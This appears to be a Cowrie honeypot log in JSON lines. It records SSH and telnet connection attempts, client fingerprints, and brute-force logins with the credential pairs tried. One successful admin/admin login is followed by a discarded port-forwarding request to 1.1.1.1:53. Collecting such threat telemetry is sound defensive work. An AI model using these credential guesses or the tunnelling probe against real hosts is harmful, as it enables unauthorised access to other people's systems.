{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:23:43.214958Z","src_ip":"202.165.15.132","session":"9fd4e0384f6c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"root1234","message":"login attempt [admin/root1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:23:44.205735Z","src_ip":"202.165.15.132","session":"9fd4e0384f6c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:23:45.449820Z","src_ip":"202.165.15.132","session":"9fd4e0384f6c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"212.55.149.117","src_port":49979,"dst_ip":"10.17.0.5","dst_port":23,"session":"a54ace54021b","protocol":"telnet","message":"New connection: 212.55.149.117:49979 (10.17.0.5:23) [session: a54ace54021b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:23:51.031868Z"}
{"eventid":"cowrie.session.connect","src_ip":"212.55.149.117","src_port":42015,"dst_ip":"10.17.0.5","dst_port":23,"session":"61acd1ecd20f","protocol":"telnet","message":"New connection: 212.55.149.117:42015 (10.17.0.5:23) [session: 61acd1ecd20f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:23:51.735909Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.15.226.202","src_port":56766,"dst_ip":"10.17.0.5","dst_port":22,"session":"cc1d73459cc9","protocol":"ssh","message":"New connection: 103.15.226.202:56766 (10.17.0.5:22) [session: cc1d73459cc9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:23:56.364029Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:23:56.368650Z","src_ip":"103.15.226.202","session":"cc1d73459cc9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:23:56.613210Z","src_ip":"103.15.226.202","session":"cc1d73459cc9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"123456.com","message":"login attempt [root/123456.com] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:23:57.348421Z","src_ip":"103.15.226.202","session":"cc1d73459cc9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:23:58.596297Z","src_ip":"103.15.226.202","session":"cc1d73459cc9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"120.0","message":"Connection lost after 120.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:24:35.782554Z","src_ip":"58.250.244.36","session":"5be2ca3adcee","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"202.165.15.132","src_port":27249,"dst_ip":"10.17.0.5","dst_port":22,"session":"1ebba8492cc2","protocol":"ssh","message":"New connection: 202.165.15.132:27249 (10.17.0.5:22) [session: 1ebba8492cc2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:24:39.862765Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:24:39.867457Z","src_ip":"202.165.15.132","session":"1ebba8492cc2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:24:40.112217Z","src_ip":"202.165.15.132","session":"1ebba8492cc2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"test1","password":"q1w2e3r4","message":"login attempt [test1/q1w2e3r4] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:24:41.118723Z","src_ip":"202.165.15.132","session":"1ebba8492cc2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:24:42.366613Z","src_ip":"202.165.15.132","session":"1ebba8492cc2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00934720039368,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:24:50.662681Z","src_ip":"212.55.149.117","session":"96cab364d7b8","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":62.97293210029602,"message":"Connection lost after 62 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:24:54.708719Z","src_ip":"212.55.149.117","session":"61acd1ecd20f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"120.0","message":"Connection lost after 120.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:25:02.822706Z","src_ip":"58.250.244.36","session":"cc2f6426bf72","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"212.55.149.117","src_port":15137,"dst_ip":"10.17.0.5","dst_port":23,"session":"a7aa4a20216b","protocol":"telnet","message":"New connection: 212.55.149.117:15137 (10.17.0.5:23) [session: a7aa4a20216b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:25:11.761616Z"}
{"eventid":"cowrie.session.closed","duration":0.009205341339111328,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:25:11.770694Z","src_ip":"212.55.149.117","session":"a7aa4a20216b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"212.55.149.117","src_port":26542,"dst_ip":"10.17.0.5","dst_port":23,"session":"5e06a253b209","protocol":"telnet","message":"New connection: 212.55.149.117:26542 (10.17.0.5:23) [session: 5e06a253b209]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:25:12.715486Z"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.210","src_port":57592,"dst_ip":"10.17.0.5","dst_port":22,"session":"26d14fa3a4ac","protocol":"ssh","message":"New connection: 2.57.122.210:57592 (10.17.0.5:22) [session: 26d14fa3a4ac]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:25:14.947577Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:25:15.144013Z","src_ip":"2.57.122.210","session":"26d14fa3a4ac","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:25:15.148254Z","src_ip":"2.57.122.210","session":"26d14fa3a4ac","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sol","password":"12345","message":"login attempt [sol/12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:25:16.189920Z","src_ip":"2.57.122.210","session":"26d14fa3a4ac","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:25:17.476371Z","src_ip":"2.57.122.210","session":"26d14fa3a4ac","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.32.162.145","src_port":36990,"dst_ip":"10.17.0.5","dst_port":22,"session":"c73e190aa4f2","protocol":"ssh","message":"New connection: 193.32.162.145:36990 (10.17.0.5:22) [session: c73e190aa4f2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:25:21.026586Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:25:21.031521Z","src_ip":"193.32.162.145","session":"c73e190aa4f2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:25:21.130739Z","src_ip":"193.32.162.145","session":"c73e190aa4f2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"shredrum","message":"login attempt [ubuntu/shredrum] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:25:21.431004Z","src_ip":"193.32.162.145","session":"c73e190aa4f2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:25:22.568822Z","src_ip":"193.32.162.145","session":"c73e190aa4f2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"120.0","message":"Connection lost after 120.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:25:29.507525Z","src_ip":"58.250.244.36","session":"be4111d78d06","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"212.55.149.117","src_port":6823,"dst_ip":"10.17.0.5","dst_port":23,"session":"209b44a521f8","protocol":"telnet","message":"New connection: 212.55.149.117:6823 (10.17.0.5:23) [session: 209b44a521f8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:25:30.882158Z"}
{"eventid":"cowrie.session.connect","src_ip":"202.165.15.132","src_port":42328,"dst_ip":"10.17.0.5","dst_port":22,"session":"bc318f2b038d","protocol":"ssh","message":"New connection: 202.165.15.132:42328 (10.17.0.5:22) [session: bc318f2b038d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:25:36.620260Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:25:36.625031Z","src_ip":"202.165.15.132","session":"bc318f2b038d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:25:36.868100Z","src_ip":"202.165.15.132","session":"bc318f2b038d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"testuser","password":"qwertyui","message":"login attempt [testuser/qwertyui] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:25:37.870449Z","src_ip":"202.165.15.132","session":"bc318f2b038d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:25:39.129812Z","src_ip":"202.165.15.132","session":"bc318f2b038d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.64.176","src_port":48568,"dst_ip":"10.17.0.5","dst_port":22,"session":"a17f0e2d6109","protocol":"ssh","message":"New connection: 87.251.64.176:48568 (10.17.0.5:22) [session: a17f0e2d6109]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:25:47.820759Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:25:47.827189Z","src_ip":"87.251.64.176","session":"a17f0e2d6109","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:25:47.924187Z","src_ip":"87.251.64.176","session":"a17f0e2d6109","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:25:48.220245Z","src_ip":"87.251.64.176","session":"a17f0e2d6109","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"87.251.64.176","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:25:48.320535Z","session":"a17f0e2d6109","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:25:48.418116Z","src_ip":"87.251.64.176","session":"a17f0e2d6109","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.7","message":"Connection lost after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:25:48.516993Z","src_ip":"87.251.64.176","session":"a17f0e2d6109","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00373768806458,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:25:51.035506Z","src_ip":"212.55.149.117","session":"a54ace54021b","protocol":"telnet"}
